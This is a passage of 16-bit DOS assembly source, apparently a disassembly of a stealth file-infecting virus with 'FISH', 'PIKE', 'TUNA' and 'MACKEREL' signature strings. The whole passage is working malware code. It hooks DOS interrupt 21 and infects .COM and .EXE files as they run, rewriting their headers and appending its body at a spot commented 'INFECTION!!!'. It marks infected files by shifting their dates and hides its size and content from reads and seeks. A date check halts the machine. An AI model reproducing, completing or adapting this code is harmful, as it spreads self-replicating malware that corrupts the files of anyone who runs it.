  693. loc_49:
  694.         push    ds
  695.         push    dx
  696.         mov    word ptr cs:data_51+2,es    ; (cs:0E26=7DBCh)
  697.         mov    cs:data_51,bx        ; (cs:0E24=0)
  698.         lds    si,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
  699.         mov    cx,0Eh
  700.         mov    di,offset data_101    ; (cs:0EF1=0)
  701.         push    cs
  702.         pop    es
  703.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  704.         pop    si
  705.         pop    ds
  706.         mov    cx,50h
  707.         mov    di,offset data_109    ; (cs:0F07=0)
  708.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  709.         mov    bx,0FFFFh
  710.         call    sub_3            ; Pop flags and registers
  711.         pop    bp
  712.         pop    cs:data_95        ; (cs:0EE6=0)
  713.         pop    cs:data_96        ; (cs:0EE8=0)
  714.         pop    cs:data_85        ; (cs:0EB3=0)
  715.         push    cs
  716.         mov    ax,4B01h
  717.         pop    es
  718.         pushf
  719.         mov    bx,offset data_101
  720.         call    dword ptr cs:INT_21_ptr ; (cs:0E35=0)
  721.         jnc    loc_50            ; Jump if carry=0
  722.         or    cs:data_85,1        ; (cs:0EB3=0)
  723.         push    cs:data_85        ; (cs:0EB3=0)
  724.         push    cs:data_96        ; (cs:0EE8=0)
  725.         push    cs:data_95        ; (cs:0EE6=0)
  726.         push    bp
  727.         les    bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
  728.         mov    bp,sp
  729.         jmp    loc_27            ; (0322)
  730. loc_50:
  731.         call    sub_20            ; (0914)
  732.         push    cs
  733.         pop    es
  734.         mov    cx,14h
  735.         mov    di,offset file_name    ; (cs:0E52=0)
  736. loc_51:
  737.         mov    ax,cs:data_77        ; (cs:0EA3=0)
  738.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  739.         jnz    loc_52            ; Jump if not zero
  740.         mov    word ptr es:[di-2],0
  741.         inc    cs:data_76        ; (cs:0EA2=0)
  742.         jmp    short loc_51        ; (059C)
  743. loc_52:
  744.         lds    si,cs:data_107        ; (cs:0F03=0) Load 32 bit ptr
  745.         cmp    si,1
  746.         jne    loc_53            ; Jump if not equal
  747.         mov    dx,ds:data_6e        ; (0000:001A=0F000h)
  748.         add    dx,10h
  749.         mov    ah,51h            ; Get PSP segment in BX
  750.         call    sub_1            ; Call INT 21
  751.         add    dx,bx
  752.         mov    word ptr cs:data_107+2,dx    ; (cs:0F05=0)
  753.         push    word ptr ds:data_5e    ; (0000:0018=0FF23h)
  754.         pop    word ptr cs:data_107    ; (cs:0F03=0)
  755.         add    bx,ds:data_3e        ; (0000:0012=70h)
  756.         add    bx,10h
  757.         mov    cs:data_106,bx        ; (cs:0F01=0)
  758.         push    word ptr ds:data_4e    ; (0000:0014=0FF54h)
  759.         pop    cs:data_105        ; (cs:0EFF=0)
  760.         jmp    loc_54            ; (0617)
  761. loc_53:
  762.         mov    ax,[si]
  763.         add    ax,[si+2]
  764.         push    bx
  765.         mov    bx,[si+4]
  766.         not    bx
  767.         add    ax,bx
  768.         pop    bx
  769.         jz    loc_55            ; Jump if zero
  770.         push    cs
  771.         pop    ds
  772.         mov    dx,0F07h
  773.         call    sub_19            ; Recognize .COM/.EXE file
  774.         call    sub_21            ; (0921)
  775.         inc    cs:data_99        ; (cs:0EEF=0)
  776.         call    sub_15            ; (0722)
  777.         dec    cs:data_99        ; (cs:0EEF=0)
  778. loc_54:
  779.         mov    ah,51h            ; Get PSP segment in BX
  780.         call    sub_1            ; Call INT 21
  781.         call    sub_5            ; Push all in vir's stack
  782.         call    sub_6            ; Swap JMP xxxx:xxxx
  783.         call    sub_4            ; Pop all from vir's stack
  784.         mov    ds,bx
  785.         mov    es,bx
  786.         push    cs:data_85        ; (cs:0EB3=0)
  787.         push    cs:data_96        ; (cs:0EE8=0)
  788.         push    cs:data_95        ; (cs:0EE6=0)
  789.         pop    word ptr ds:PSP_000A    ; (0000:000A=0F000h)
  790.         pop    word ptr ds:PSP_000A+2    ; (0000:000C=7F6h)
  791.         push    ds
  792.         mov    al,22h
  793.         lds    dx,dword ptr ds:PSP_000A ; (0000:000A=0F000h) Load 32 bit ptr
  794.         call    sub_8             ; Set INT 22 vector
  795.         pop    ds
  796.         popf
  797.         pop    ax
  798.         mov    sp,cs:data_105        ; (cs:0EFF=0)
  799.         mov    ss,cs:data_106        ; (cs:0F01=0)
  800.         jmp    dword ptr cs:data_107    ; (cs:0F03=0)
  801.  
  802.         db    'SOLE'
  803.  
  804. loc_55:     mov    bx,[si+1]
  805.         mov    ax,ds:[data_8e][bx+si]     ; (0000:F239=7404h)
  806.         mov    [si],ax
  807.         mov    ax,ds:[data_8e+2][bx+si] ; (0000:F23B=7504h)
  808.         mov    [si+2],ax
  809.         mov    ax,ds:[data_8e+4][bx+si] ; (0000:F23D=0FF04h)
  810.         mov    [si+4],ax
  811.         call    sub_24            ; (0A51)
  812.         jmp    short loc_54        ; (0617)
  813. loc_56:
  814.         cmp    al,1
  815.         je    loc_57            ; Jump if equal
  816.         jmp    loc_26            ; (031E)
  817. loc_57:
  818.         or    cs:data_85,1        ; (cs:0EB3=0)
  819.         mov    word ptr cs:data_51+2,es    ; (cs:0E26=7DBCh)
  820.         mov    cs:data_51,bx        ; (cs:0E24=0)
  821.         call    sub_3            ; Pop flags and registers
  822.         call    sub_1            ; Call INT 21
  823.         call    sub_2            ; Push flags and registers
  824.         les    bx,dword ptr cs:data_51 ; (cs:0E24=0) Load 32 bit ptr
  825.         lds    si,dword ptr es:[bx+12h]    ; Load 32 bit ptr
  826.         jc    loc_60            ; Jump if carry Set
  827.         and    byte ptr cs:data_85,0FEh    ; (cs:0EB3=0)
  828.         cmp    si,1
  829.         je    loc_58            ; Jump if equal
  830.         mov    ax,[si]
  831.         add    ax,[si+2]
  832.         push    bx
  833.         mov    bx,[si+4]
  834.         not    bx
  835.         add    ax,bx
  836.         pop    bx
  837.         jnz    loc_59            ; Jump if not zero
  838.         mov    bx,[si+1]
  839.         mov    ax,word ptr ds:[0F239h][bx+si]    ; (cs:F239=0)
  840.         mov    [si],ax
  841.         mov    ax,word ptr ds:[0F23Bh][bx+si]    ; (cs:F23B=0)
  842.         mov    [si+2],ax
  843.         mov    ax,word ptr ds:[0F23Dh][bx+si]    ; (cs:F23D=0)
  844.         mov    [si+4],ax
  845.         jmp    short loc_59        ; (0707)
  846. loc_58:
  847.         mov    dx,word ptr data_29+2    ; (cs:001A=0)
  848.         call    sub_20            ; (0914)
  849.         mov    cx,cs:data_77        ; (cs:0EA3=0)
  850.         add    cx,10h
  851.         add    dx,cx
  852.         mov    es:[bx+14h],dx
  853.         mov    ax,word ptr data_29    ; (cs:0018=0)
  854.         mov    es:[bx+12h],ax
  855.         mov    ax,data_27        ; (cs:0012=0)
  856.         add    ax,cx
  857.         mov    es:[bx+10h],ax
  858.         mov    ax,data_28        ; (cs:0014=0)
  859.         mov    es:[bx+0Eh],ax
  860. loc_59:
  861.         call    sub_20            ; (0914)
  862.         mov    ds,cs:data_77        ; (cs:0EA3=0)
  863.         mov    ax,[bp+2]
  864.         mov    ds:data_1e,ax        ; (0000:000A=0F000h)
  865.         mov    ax,[bp+4]
  866.         mov    word ptr ds:data_1e+2,ax    ; (0000:000C=7F6h)
  867. loc_60:
  868.         jmp    dos_0F            ; (0381)
  869.  
  870.         db    'FISH'
  871.  
  872. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  873. ;                   SUBROUTINE
  874. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  875.  
  876. sub_15        proc    near
  877.         call    sub_27            ; (0BD0)
  878.         call    sub_16            ; (0804)
  879.         mov    exe_flag,1        ; (cs:0020)
  880.         cmp    buffer,5A4Dh        ; (cs:0E00) 'MZ'
  881.         je    loc_61            ; Jump if equal
  882.         cmp    buffer,4D5Ah        ; (cs:0E00) 'ZM'
  883.         je    loc_61            ; Jump if equal
  884.         dec    exe_flag        ; (cs:0020)
  885.         jz    loc_64            ; Jump if zero
  886. loc_61:
  887.         mov    ax,data_43        ; (cs:0E04=0)
  888.         shl    cx,1            ; Shift w/zeros fill
  889.         mul    cx            ; dx:ax = reg * ax
  890.         add    ax,200h
  891.         cmp    ax,si
  892.         jb    loc_63            ; Jump if below
  893.         mov    ax,data_45        ; (cs:0E0A=0)
  894.         or    ax,data_46        ; (cs:0E0C=0)
  895.         jz    loc_63            ; Jump if zero
  896.         mov    dx,file_pos1+2        ; (cs:0EAB=0)
  897.         mov    cx,200h
  898.         mov    ax,file_pos1        ; (cs:0EA9=0)
  899.         div    cx            ; ax,dx rem=dx:ax/reg
  900.         or    dx,dx            ; Zero ?
  901.         jz    loc_62            ; Jump if zero
  902.         inc    ax
  903. loc_62:
  904.         mov    data_41,dx        ; (cs:0E02=0)
  905.         mov    data_43,ax        ; (cs:0E04=0)
  906.         cmp    data_49,1        ; (cs:0E14=0)
  907.         je    loc_65            ; Jump if equal
  908.         mov    data_49,1        ; (cs:0E14=0)
  909.         mov    ax,si
  910.         sub    ax,data_44        ; (cs:0E08=0)
  911.         mov    data_50,ax        ; (cs:0E16=0)
  912.         add    data_43,7        ; (cs:0E04=0)
  913.         mov    data_48,offset buffer    ; (cs:0E10=0)
  914.         mov    data_47,ax        ; (cs:0E0E=0)
  915.         call    sub_17            ; (0866)
  916. loc_63:
  917.         jmp    short loc_65        ; (07E6)
  918. loc_64:
  919.         cmp    si,0F00h
  920.         jae    loc_65            ; Jump if above or =
  921.         mov    ax,buffer        ; (cs:0E00=0)
  922.         mov    data_23,ax        ; (cs:0004=0FBE9h)
  923.         add    dx,ax
  924.         mov    ax,buffer+2        ; (cs:0E02=0)
  925.         mov    data_24,ax        ; (cs:0006=0)
  926.         add    dx,ax
  927.         mov    ax,buffer+4        ; (cs:0E04=0)
  928.         mov    data_26,ax        ; (cs:0008=0)
  929.         not    ax
  930.         add    dx,ax            ; Calc checksum
  931.         jz    loc_65            ; Infected ?
  932.         mov    ax,file_attr        ; (cs:0EF2=0)
  933.         and    al,4
  934.         jnz    loc_65            ; Jump if not zero
  935.         mov    cl,0E9h         ; 'Jmp' opcode
  936.         mov    ax,10h
  937.         mov    byte ptr buffer,cl    ; (cs:0E00=0)
  938.         mul    si            ; dx:ax = reg * ax
  939.         add    ax,offset virus_entry - 3
  940.         mov    word ptr buffer+1,ax    ; (cs:0E01=0)
  941.         mov    ax,buffer        ; (cs:0E00=0)
  942.         add    ax,buffer+2        ; (cs:0E02=0)
  943.         neg    ax
  944.         not    ax
  945.         mov    data_43,ax        ; (cs:0E04=0)
  946.         call    sub_17            ; (0866)
  947. loc_65:
  948.         mov    ah,3Eh            ; Close a file with handle BX
  949.         call    sub_1            ; Call INT 21
  950.         mov    cx,cs:file_attr     ; (cs:0EF2)
  951.         mov    ax,4301h        ; Put file attributes
  952.         mov    dx,cs:data_103        ; (cs:0EF4=0)
  953.         mov    ds,cs:data_104        ; (cs:0EF6=7DBCh)
  954.         call    sub_1            ; Call INT 21
  955.         call    sub_28            ; Restore INT 13 and INT 24
  956.         retn
  957. sub_15        endp
  958.  
  959.  
  960. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  961. ;                   SUBROUTINE
  962. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  963.  
  964. sub_16        proc    near
  965.         push    cs
  966.         mov    ax,5700h        ; Get file's date/time
  967.         pop    ds
  968.         call    sub_1            ; Call INT 21
  969.         mov    data_54,cx        ; (cs:0E29=0)
  970.         mov    ax,4200h        ; LSEEK at 0:0
  971.         mov    file_date,dx        ; (cs:0E2B=0)
  972.         xor    cx,cx
  973.         xor    dx,dx
  974.         call    sub_1            ; Call INT 21
  975.         mov    ah,3Fh            ; Read from file with handle
  976.         mov    dx,offset buffer
  977.         mov    cl,1Ch
  978.         call    sub_1            ; Call INT 21
  979.         xor    cx,cx
  980.         mov    ax,4200h        ; LSEEK at 0:0
  981.         xor    dx,dx
  982.         call    sub_1            ; Call INT 21
  983.         mov    cl,1Ch
  984.         mov    ah,3Fh            ; Read from file with handle
  985.         mov    dx,offset data_23
  986.         call    sub_1            ; Call INT 21
  987.         xor    cx,cx
  988.         mov    ax,4202h        ; LSEEK at the end
  989.         mov    dx,cx
  990.         call    sub_1            ; Call INT 21
  991.         mov    file_pos1+2,dx        ; (cs:0EAB=0)
  992.         mov    file_pos1,ax        ; (cs:0EA9=0)
  993.         mov    di,ax
  994.         add    ax,0Fh
  995.         adc    dx,0
  996.         and    ax,0FFF0h
  997.         sub    di,ax
  998.         mov    cx,10h
  999.         div    cx            ; ax,dx rem=dx:ax/reg
  1000.         mov    si,ax
  1001.         retn
  1002. sub_16        endp
  1003.  
  1004.         db    'PIKE'
  1005.  
  1006. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1007. ;                   SUBROUTINE
  1008. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1009.  
  1010. sub_17        proc    near
  1011.         xor    cx,cx
  1012.         mov    ax,4200h        ; LSEEK at 0:0
  1013.         mov    dx,cx
  1014.         call    sub_1            ; Call INT 21
  1015.         mov    cl,1Ch
  1016.         mov    ah,40h            ; Write to file with handle
  1017.         mov    dx,offset buffer
  1018.         call    sub_1            ; Call INT 21
  1019.         mov    ax,10h
  1020.         mul    si            ; dx:ax = reg * ax
  1021.         mov    cx,dx
  1022.         mov    dx,ax
  1023.         mov    ax,4200h        ; LSEEK at the end, paragraph alligned
  1024.         call    sub_1            ; Call INT 21
  1025.         mov    cx,offset buffer
  1026.         xor    dx,dx
  1027.         add    cx,di
  1028.         mov    ah,40h            ; Write to file with handle
  1029.         mov    byte ptr cs:data_59,1    ; (cs:0E33=0)
  1030.         push    bx
  1031.         call    sub_30            ; (0D79) INFECTION!!!
  1032.         pop    bx
  1033.         mov    cx,data_54        ; (cs:0E29=0)
  1034.         mov    ax,5701h        ; Set file's date/time
  1035.         mov    dx,file_date        ; (cs:0E2B=0)
  1036.         test    dh,80h
  1037.         jnz    loc_66            ; Year >= 2044 ?
  1038.         add    dh,0C8h         ; Year += 100
  1039. loc_66:     call    sub_1            ; Call INT 21
  1040.         retn
  1041. sub_17        endp
  1042.  
  1043.  
  1044. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1045. ;                   SUBROUTINE
  1046. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1047.  
  1048. sub_18        proc    near
  1049.         call    sub_5            ; Push all in vir's stack
  1050.         mov    di,dx
  1051.         add    di,0Dh
  1052.         push    ds
  1053.         pop    es
  1054.         jmp    short loc_68        ; (08E0)
  1055.  
  1056. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1057.  
  1058. sub_19:
  1059.         call    sub_5            ; Push all in vir's stack
  1060.         push    ds            ; DS:DX points to a file name
  1061.         pop    es
  1062.         mov    cx,50h
  1063.         mov    di,dx
  1064.         mov    bl,0
  1065.         xor    ax,ax            ; Zero register
  1066.         cmp    byte ptr [di+1],':'
  1067.         jne    loc_67            ; Jump if not equal
  1068.         mov    bl,[di]
  1069.         and    bl,1Fh
  1070. loc_67:
  1071.         mov    cs:drive_num,bl     ; (cs:0E28)
  1072.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1073. loc_68:
  1074.         mov    ax,[di-3]
  1075.         and    ax,0DFDFh
  1076.         add    ah,al
  1077.         mov    al,[di-4]
  1078.         and    al,0DFh
  1079.         add    al,ah
  1080.         mov    cs:exe_flag,0        ; (cs:0020=0)
  1081.         cmp    al,0DFh
  1082.         je    loc_69            ; Jump if equal
  1083.         inc    cs:exe_flag        ; (cs:0020=0)
  1084.         cmp    al,0E2h
  1085.         jne    loc_70            ; Jump if not equal
  1086. loc_69:
  1087.         call    sub_4            ; Pop all from vir's stack
  1088.         clc                ; Clear carry flag
  1089.         retn
  1090.  
  1091.         db    'MACKEREL'
  1092.  
  1093. loc_70:
  1094.         call    sub_4            ; Pop all from vir's stack
  1095.         stc                ; Set carry flag
  1096.         retn
  1097. sub_18        endp
  1098.  
  1099.  
  1100. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1101. ;                   SUBROUTINE
  1102. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1103.  
  1104. sub_20        proc    near
  1105.         push    bx
  1106.         mov    ah,51h            ; Get PSP segment
  1107.         call    sub_1            ; Call INT 21
  1108.         mov    cs:data_77,bx        ; (cs:0EA3=0)
  1109.         pop    bx
  1110.         retn
  1111. sub_20        endp
  1112.  
  1113.  
  1114. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1115. ;                   SUBROUTINE
  1116. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1117.  
  1118. sub_21        proc    near
  1119.         call    sub_27            ; (0BD0)
  1120.         push    dx
  1121.         mov    ah,36h            ; Get disk space
  1122.         mov    dl,cs:drive_num     ; (cs:0E28)
  1123.         call    sub_1            ; Call INT 21
  1124.         mul    cx            ; dx:ax = reg * ax
  1125.         mul    bx            ; dx:ax = reg * ax
  1126.         mov    bx,dx
  1127.         pop    dx
  1128.         or    bx,bx            ; Zero ?
  1129.         jnz    loc_71            ; Jump if not zero
  1130.         cmp    ax,4000h
  1131.         jb    loc_72            ; Jump if below
  1132. loc_71:
  1133.         mov    ax,4300h        ; Get file attributes
  1134.         call    sub_1            ; Call INT 21
  1135.         jc    loc_72
  1136.         mov    cs:data_103,dx        ; (cs:0EF4=0)
  1137.         mov    cs:file_attr,cx     ; (cs:0EF2)
  1138.         mov    cs:data_104,ds        ; (cs:0EF6=7DBCh)
  1139.         mov    ax,4301h        ; Put file attributes
  1140.         xor    cx,cx
  1141.         call    sub_1            ; Call INT 21
  1142.         cmp    byte ptr cs:err_flag,0    ; (cs:0EDA=0)
  1143.         jne    loc_72
  1144.         mov    ax,3D02h        ; Open disk file with handle R/W
  1145.         call    sub_1            ; Call INT 21
  1146.         jc    loc_72
  1147.         mov    bx,ax
  1148.         push    bx
  1149.         mov    ah,32h            ; Get drive parameter block
  1150.         mov    dl,cs:drive_num     ; (cs:0E28)
  1151.         call    sub_1            ; Call INT 21
  1152.         mov    ax,[bx+1Eh]
  1153.         mov    cs:data_98,ax        ; (cs:0EEC=0)
  1154.         pop    bx
  1155.         call    sub_28            ; Restore INT 13 and INT 24
  1156.         retn
  1157. loc_72:
  1158.         xor    bx,bx            ; Zero register
  1159.         dec    bx
  1160.         call    sub_28            ; Restore INT 13 and INT 24
  1161.         retn
  1162. sub_21        endp
  1163.  
  1164.  
  1165. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1166. ;                   SUBROUTINE
  1167. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1168.  
  1169. sub_22        proc    near
  1170.         push    cx
  1171.         push    dx
  1172.         push    ax
  1173.         mov    ax,4400h        ; IOCTL - get device info
  1174.         call    sub_1            ; Call INT 21
  1175.         xor    dl,80h
  1176.         test    dl,80h
  1177.         jz    loc_73            ; Jump if zero
  1178.         mov    ax,5700h        ; Get file's date/time
  1179.         call    sub_1            ; Call INT 21
  1180.         test    dh,80h
  1181. loc_73:     pop    ax
  1182.         pop    dx
  1183.         pop    cx
  1184.         retn
  1185. sub_22        endp
  1186.  
  1187.  
  1188. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1189. ;                   SUBROUTINE
  1190. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1191.  
  1192. sub_23        proc    near
  1193.         call    sub_5            ; Push all in vir's stack
  1194.         xor    cx,cx
  1195.         mov    ax,4201h        ; LSEEK at current position
  1196.         xor    dx,dx
  1197.         call    sub_1            ; Call INT 21
  1198.         mov    cs:file_pos+2,dx    ; (cs:0EA7=0)
  1199.         mov    cs:file_pos,ax        ; (cs:0EA5=0)
  1200.         mov    ax,4202h        ; LSEEK at the end
  1201.         xor    cx,cx
  1202.         xor    dx,dx
  1203.         call    sub_1            ; Call INT 21
  1204.         mov    cs:file_pos1+2,dx    ; (cs:0EAB=0)
  1205.         mov    cs:file_pos1,ax     ; (cs:0EA9=0)
  1206.         mov    ax,4200h        ; LSEEK
  1207.         mov    dx,cs:file_pos        ; (cs:0EA5=0)
  1208.         mov    cx,cs:file_pos+2    ; (cs:0EA7=0)
  1209.         call    sub_1            ; Call INT 21
  1210.         call    sub_4            ; Pop all from vir's stack
  1211.         retn
  1212. sub_23        endp
  1213.  
  1214.         db    'FISH'
  1215.  
  1216. dos_57:     or    al,al
  1217.         jnz    loc_77            ; Jump if not zero
  1218.         and    cs:data_85,0FFFEh    ; (cs:0EB3=0)
  1219.         call    sub_3            ; Pop flags and registers
  1220.         call    sub_1            ; Call INT 21
  1221.         jc    loc_76            ; Jump if carry Set
  1222.         test    dh,80h
  1223.         jz    loc_75            ; Jump if zero
  1224.         sub    dh,0C8h
  1225. loc_75:
  1226.         jmp    loc_27            ; (0322)
  1227. loc_76:
  1228.         or    cs:data_85,1        ; (cs:0EB3=0)
  1229.         jmp    loc_27            ; (0322)
  1230. loc_77:
  1231.         cmp    al,1
  1232.         jne    loc_81            ; Jump if not equal
  1233.         and    cs:data_85,0FFFEh    ; (cs:0EB3=0)
  1234.         test    dh,80h
  1235.         jz    loc_78            ; Jump if zero
  1236.         sub    dh,0C8h
  1237. loc_78:
  1238.         call    sub_22            ; (098E)
  1239.         jz    loc_79            ; Jump if zero
  1240.         add    dh,0C8h
  1241. loc_79:
  1242.         call    sub_1            ; Call INT 21
  1243.         mov    [bp-4],ax
  1244.         adc    cs:data_85,0        ; (cs:0EB3=0)
  1245.         jmp    dos_0F            ; (0381)
  1246. dos_42:
  1247.         cmp    al,2
  1248.         jne    loc_81            ; Jump if not equal
  1249.         call    sub_22            ; (098E)
  1250.         jz    loc_81            ; Jump if zero
  1251.         sub    word ptr [bp-0Ah],0E00h
  1252.         sbb    word ptr [bp-8],0
  1253. loc_81:
  1254.         jmp    loc_26            ; (031E)
  1255.  
  1256. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1257. ;                   SUBROUTINE
  1258. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1259.  
  1260. sub_24        proc    near
  1261.         call    sub_2            ; Push flags and registers
  1262.         mov    ah,2Ah
  1263.         call    sub_1            ; Call INT 21
  1264.         cmp    cx,7C7h
  1265.         jb    loc_82            ; Jump if below
  1266.         mov    ah,9
  1267.         push    cs
  1268.         pop    ds
  1269.         mov    dx,1ABh
  1270.         call    sub_1            ; Call INT 21
  1271.         hlt                ; Halt processor
  1272. loc_82:
  1273.         call    sub_3            ; Pop flags and registers
  1274.         retn
  1275. sub_24        endp
  1276.  
  1277. dos_3F:
  1278.         and    byte ptr cs:data_85,0FEh    ; (cs:0EB3=0)
  1279.         call    sub_22            ; (098E)
  1280.         jz    loc_81            ; Jump if zero
  1281.         mov    cs:buf_adr,dx        ; (cs:0EAD=0)
  1282.         mov    cs:data_83,cx        ; (cs:0EAF=0)
  1283.         mov    cs:data_84,0        ; (cs:0EB1=0)
  1284.         call    sub_23            ; (09AC)
  1285.         mov    ax,cs:file_pos1     ; (cs:0EA9=0)
  1286.         mov    dx,cs:file_pos1+2    ; (cs:0EAB=0)
  1287.         sub    ax,vir_len
  1288.         sbb    dx,0
  1289.         sub    ax,cs:file_pos        ; (cs:0EA5=0)
  1290.         sbb    dx,cs:file_pos+2    ; (cs:0EA7=0)
  1291.         jns    loc_84            ; Jump if not sign
  1292.         mov    word ptr [bp-4],0
  1293.         jmp    loc_43            ; (04DD)
  1294. loc_84:
  1295.         jnz    loc_85            ; Jump if not zero
  1296.         cmp    ax,cx
  1297.         ja    loc_85            ; Jump if above
  1298.         mov    cs:data_83,ax        ; (cs:0EAF=0)
  1299. loc_85:
  1300.         mov    cx,cs:file_pos+2    ; (cs:0EA7=0)
  1301.         mov    dx,cs:file_pos        ; (cs:0EA5=0)
  1302.         or    cx,cx            ; Zero ?
  1303.         jnz    loc_86            ; Jump if not zero
  1304.         cmp    dx,1Ch
  1305.         jbe    loc_87            ; Jump if below or =
  1306. loc_86:
  1307.         mov    dx,cs:buf_adr        ; (cs:0EAD=0)
  1308.         mov    ah,3Fh            ; Read from file with handle
  1309.         mov    cx,cs:data_83        ; (cs:0EAF=0)
  1310.         call    sub_1            ; Call INT 21
  1311.         add    ax,cs:data_84        ; (cs:0EB1=0)
  1312.         mov    [bp-4],ax
  1313.         jmp    dos_0F            ; (0381)
  1314. loc_87:
  1315.         mov    di,dx
  1316.         mov    si,dx
  1317.         add    di,cs:data_83        ; (cs:0EAF=0)
  1318.         cmp    di,1Ch
  1319.         jb    loc_88            ; Jump if below
  1320.         xor    di,di            ; Zero register
  1321.         jmp    short loc_89        ; (0B02)
  1322.  
  1323.         db    'TUNA'
  1324.  
  1325. loc_88:
  1326.         sub    di,1Ch
  1327.         neg    di
  1328. loc_89:
  1329.         mov    ax,dx
  1330.         mov    dx,cs:file_pos1     ; (cs:0EA9=0)
  1331.         mov    cx,cs:file_pos1+2    ; (cs:0EAB=0)
  1332.         add    dx,0Fh
  1333.         adc    cx,0
  1334.         and    dx,0FFF0h
  1335.         sub    dx,vir_end-data_23
  1336.         sbb    cx,0
  1337.         add    dx,ax
  1338.         adc    cx,0
  1339.         mov    ax,4200h
  1340.         call    sub_1            ; Call INT 21
